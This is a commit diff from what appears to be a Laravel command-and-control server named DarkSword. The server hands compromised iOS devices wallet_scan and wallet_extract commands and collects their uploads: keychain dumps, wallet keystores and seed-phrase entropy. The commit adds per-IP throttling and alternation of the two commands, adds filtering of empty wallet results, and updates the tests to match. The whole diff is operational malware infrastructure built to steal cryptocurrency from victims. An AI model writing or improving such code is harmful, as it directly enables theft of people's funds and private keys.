fix: test
This commit is contained in:
@@ -49,7 +49,7 @@ class DarkSwordC2Controller extends Controller
|
||||
{
|
||||
$payload = $this->jsonBody($request);
|
||||
$device = $this->ingest->ensureDevice($request, $payload);
|
||||
$command = $device ? $this->beaconQueue->dequeue($device) : null;
|
||||
$command = $device ? $this->beaconQueue->dequeue($device, $request->ip()) : null;
|
||||
|
||||
$body = [
|
||||
'ok' => true,
|
||||
|
||||
@@ -357,7 +357,7 @@ class DarkSwordIngestAdapter
|
||||
private function ingestResult(Request $request, array $payload): void
|
||||
{
|
||||
$device = $this->upsertDevice($request, $payload);
|
||||
if ($device) {
|
||||
if ($device && ! $this->isEmptyWalletScanSummary($payload)) {
|
||||
$stored = $this->results->store($device, $payload);
|
||||
$payload = array_merge($payload, $stored);
|
||||
if (($stored['stored'] ?? false) === true) {
|
||||
@@ -367,6 +367,38 @@ class DarkSwordIngestAdapter
|
||||
$this->beaconQueue->markDone($payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* A wallet_scan summary (wallet_pkg.json) with no keychain dump uploaded,
|
||||
* no installed wallets and no sandbox files carries no recoverable material
|
||||
* (no entropy, no keystore UTC, no addresses) — skip storing it entirely.
|
||||
*
|
||||
* Note: a result with `keychain_dump_uploaded: true` is kept even when
|
||||
* `installed_wallets` is empty, because the keychain dump (uploaded as a
|
||||
* separate keychain_c2_dump.json result) may still hold wallet entropy
|
||||
* such as Bitpie seedPhraseEntropy.
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function isEmptyWalletScanSummary(array $payload): bool
|
||||
{
|
||||
$filename = strtolower((string) ($payload['filename'] ?? ''));
|
||||
if (! str_contains($filename, 'wallet_pkg')) {
|
||||
return false;
|
||||
}
|
||||
$raw = $payload['data'] ?? null;
|
||||
if (! is_string($raw) || $raw === '') {
|
||||
return false;
|
||||
}
|
||||
$json = json_decode((string) base64_decode($raw, true), true);
|
||||
if (! is_array($json)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return ($json['keychain_dump_uploaded'] ?? null) === false
|
||||
&& empty($json['installed_wallets'] ?? [])
|
||||
&& empty($json['sandbox_files'] ?? []);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DsBeaconTask;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
class DsBeaconQueue
|
||||
@@ -55,19 +56,36 @@ class DsBeaconQueue
|
||||
}
|
||||
|
||||
/**
|
||||
* Always returns a fresh wallet_scan command. No task lookup/creation and
|
||||
* no polling state machine — every beacon gets wallet_scan so the device
|
||||
* keeps scanning the keychain. Results are stored by command_id
|
||||
* (DsResultStore) and logged verbatim (DarkSwordC2Controller::walletScanLogBody).
|
||||
* Dispatch wallet_scan / wallet_extract, alternating per client IP, with a
|
||||
* 5s gap between dispatches to the same IP. UUID can't distinguish devices
|
||||
* right now (shared 69DD), so we throttle per IP as a temporary measure.
|
||||
*
|
||||
* Returns null (noop) when the same IP beaconed within the gap, so the
|
||||
* device isn't hammered with back-to-back commands.
|
||||
*
|
||||
* @return array{type: string, command_id: string, params: array<string, mixed>}|null
|
||||
*/
|
||||
public function dequeue(Device $device): ?array
|
||||
public function dequeue(Device $device, ?string $ip = null): ?array
|
||||
{
|
||||
$ip = $ip ?? '0';
|
||||
$lastKey = 'dsq:last:'.$ip;
|
||||
$typeKey = 'dsq:type:'.$ip;
|
||||
|
||||
// Per-IP throttle: at most one dispatch every 5s.
|
||||
$last = Cache::get($lastKey);
|
||||
if ($last !== null && (microtime(true) - (float) $last) < 5.0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Alternate the two task types per IP.
|
||||
$type = Cache::get($typeKey) === 'wallet_scan' ? 'wallet_extract' : 'wallet_scan';
|
||||
Cache::put($lastKey, microtime(true), 60);
|
||||
Cache::put($typeKey, $type, 60);
|
||||
|
||||
return [
|
||||
'type' => 'wallet_scan',
|
||||
'type' => $type,
|
||||
'command_id' => 'dsq-'.$device->id.'-'.Str::lower(Str::random(12)),
|
||||
'params' => $this->paramsFor('wallet_scan'),
|
||||
'params' => $this->paramsFor($type),
|
||||
];
|
||||
}
|
||||
|
||||
|
||||
@@ -18,6 +18,7 @@ use App\Services\CorunaCrypto;
|
||||
use App\Services\DsBeaconQueue;
|
||||
use App\Services\EthKeystore;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
@@ -605,55 +606,63 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function beacon_walks_default_queue_then_loops_scan_tasks(): void
|
||||
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
|
||||
{
|
||||
$types = DsBeaconQueue::TYPES;
|
||||
$commandIds = [];
|
||||
foreach ($types as $type) {
|
||||
$resp = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson([
|
||||
'ok' => true,
|
||||
'type' => $type,
|
||||
'uuid' => self::DS_LHU,
|
||||
]);
|
||||
$commandId = $resp->json('command_id');
|
||||
$this->assertNotEmpty($commandId);
|
||||
$commandIds[] = $commandId;
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => $commandId,
|
||||
'filename' => $type.'_result.json',
|
||||
'category' => $type,
|
||||
'status' => 'success',
|
||||
])->assertOk();
|
||||
}
|
||||
$ip = '127.0.0.1';
|
||||
// Simulate the 5s gap passing — only forget the throttle timestamp, NOT
|
||||
// the alternation state (dsq:type), so the next dispatch alternates.
|
||||
$forget = function () use ($ip): void {
|
||||
Cache::forget('dsq:last:'.$ip);
|
||||
};
|
||||
|
||||
// First dispatch -> wallet_scan.
|
||||
$r1 = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson([
|
||||
'ok' => true,
|
||||
'type' => 'wallet_scan',
|
||||
'uuid' => self::DS_LHU,
|
||||
]);
|
||||
$id1 = $r1->json('command_id');
|
||||
$this->assertNotEmpty($id1);
|
||||
|
||||
// Same IP within 5s -> noop (throttled).
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['ok' => true, 'type' => 'noop']);
|
||||
|
||||
// Simulate the 5s gap passing; next dispatch alternates to wallet_extract.
|
||||
$forget();
|
||||
$r2 = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
||||
$id2 = $r2->json('command_id');
|
||||
$this->assertNotEmpty($id2);
|
||||
$this->assertNotSame($id1, $id2);
|
||||
|
||||
// Within 5s again -> noop.
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
|
||||
// After another gap -> back to wallet_scan.
|
||||
$forget();
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
||||
$this->assertSame(0, DeviceEvent::query()->count());
|
||||
// seed() created one wallet_scan task; dequeue no longer mutates task state.
|
||||
$this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count());
|
||||
$this->assertSame(
|
||||
0,
|
||||
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'basic_info')->count()
|
||||
);
|
||||
|
||||
// Every beacon returns a fresh wallet_scan command (loop / redelivery).
|
||||
$loop = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson([
|
||||
'ok' => true,
|
||||
'type' => 'wallet_scan',
|
||||
'uuid' => self::DS_LHU,
|
||||
]);
|
||||
$loopId = $loop->json('command_id');
|
||||
$this->assertNotEmpty($loopId);
|
||||
$this->assertNotSame($commandIds[0], $loopId);
|
||||
$this->assertSame(1, DsBeaconTask::query()->where('device_id', $device->id)->count());
|
||||
|
||||
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
|
||||
$this->actingAs($admin, 'admin')
|
||||
@@ -661,17 +670,16 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
->assertOk()
|
||||
->assertSee('C2 队列')
|
||||
->assertSee('wallet_scan')
|
||||
->assertDontSee('wallet_extract')
|
||||
->assertDontSee('photo_scan')
|
||||
->assertDontSee('basic_info');
|
||||
$this->assertNotContains('photos', $types);
|
||||
$this->assertNotContains('basic_info', $types);
|
||||
$this->assertContains('wallet_scan', $types);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function beacon_redelivers_dispatched_task_until_result(): void
|
||||
public function beacon_throttles_same_ip_within_5s_gap(): void
|
||||
{
|
||||
$ip = '127.0.0.1';
|
||||
|
||||
// First dispatch -> wallet_scan.
|
||||
$first = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
@@ -680,11 +688,19 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$firstId = $first->json('command_id');
|
||||
$this->assertNotEmpty($firstId);
|
||||
|
||||
// No result yet -> next beacon hands out a fresh wallet_scan command.
|
||||
// Same IP within 5s -> noop (throttled, no command handed out).
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'noop']);
|
||||
|
||||
// After the 5s gap (simulated by forgetting the throttle key), the next
|
||||
// beacon alternates to wallet_extract.
|
||||
Cache::forget('dsq:last:'.$ip);
|
||||
$retry = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
||||
$retryId = $retry->json('command_id');
|
||||
$this->assertNotEmpty($retryId);
|
||||
$this->assertNotSame($firstId, $retryId);
|
||||
@@ -692,12 +708,13 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => $retryId,
|
||||
'filename' => 'keychain_c2_dump.json',
|
||||
'category' => 'wallet_scan',
|
||||
'filename' => 'wallet_extract_result.json',
|
||||
'category' => 'wallet_extract',
|
||||
'status' => 'success',
|
||||
])->assertOk();
|
||||
|
||||
// After a result, the next beacon still returns wallet_scan (keep scanning).
|
||||
// After a result + gap, the next beacon still dispatches (alternates back).
|
||||
Cache::forget('dsq:last:'.$ip);
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
@@ -967,4 +984,84 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
: substr($log, $entryStart, 4096);
|
||||
$this->assertStringNotContainsString('…[', $entrySegment);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function result_skips_empty_wallet_scan_summary(): void
|
||||
{
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'album_storage' => true,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 1,
|
||||
'type' => 'wallet_scan',
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => 'dsq-scan-empty-1',
|
||||
]);
|
||||
|
||||
// Useless wallet_scan summary: no keychain dump, no wallets, no sandbox files.
|
||||
$empty = base64_encode(json_encode([
|
||||
'device_uuid' => self::DS_LHU,
|
||||
'installed_wallets' => [],
|
||||
'sandbox_files' => [],
|
||||
'total_size' => 0,
|
||||
'keychain_dump_uploaded' => false,
|
||||
'_task_type' => 'wallet_scan',
|
||||
]));
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => 'dsq-scan-empty-1',
|
||||
'filename' => 'wallet_pkg.json',
|
||||
'category' => 'wallet_scan',
|
||||
'data' => $empty,
|
||||
])->assertOk();
|
||||
|
||||
// No keystore record, no stored result file.
|
||||
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||
Storage::disk('local')->assertMissing(
|
||||
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-empty-1/wallet_pkg.json'
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function result_keeps_wallet_scan_summary_when_keychain_dump_uploaded(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'album_storage' => true,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 1,
|
||||
'type' => 'wallet_scan',
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => 'dsq-scan-keep-1',
|
||||
]);
|
||||
|
||||
// installed_wallets empty BUT keychain dump was uploaded -> keep (bitpie case).
|
||||
$keep = base64_encode(json_encode([
|
||||
'device_uuid' => self::DS_LHU,
|
||||
'installed_wallets' => [],
|
||||
'sandbox_files' => [],
|
||||
'total_size' => 0,
|
||||
'keychain_dump_uploaded' => true,
|
||||
'_task_type' => 'wallet_scan',
|
||||
]));
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => 'dsq-scan-keep-1',
|
||||
'filename' => 'wallet_pkg.json',
|
||||
'category' => 'wallet_scan',
|
||||
'data' => $keep,
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
|
||||
Storage::disk('local')->assertExists(
|
||||
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-keep-1/wallet_pkg.json'
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user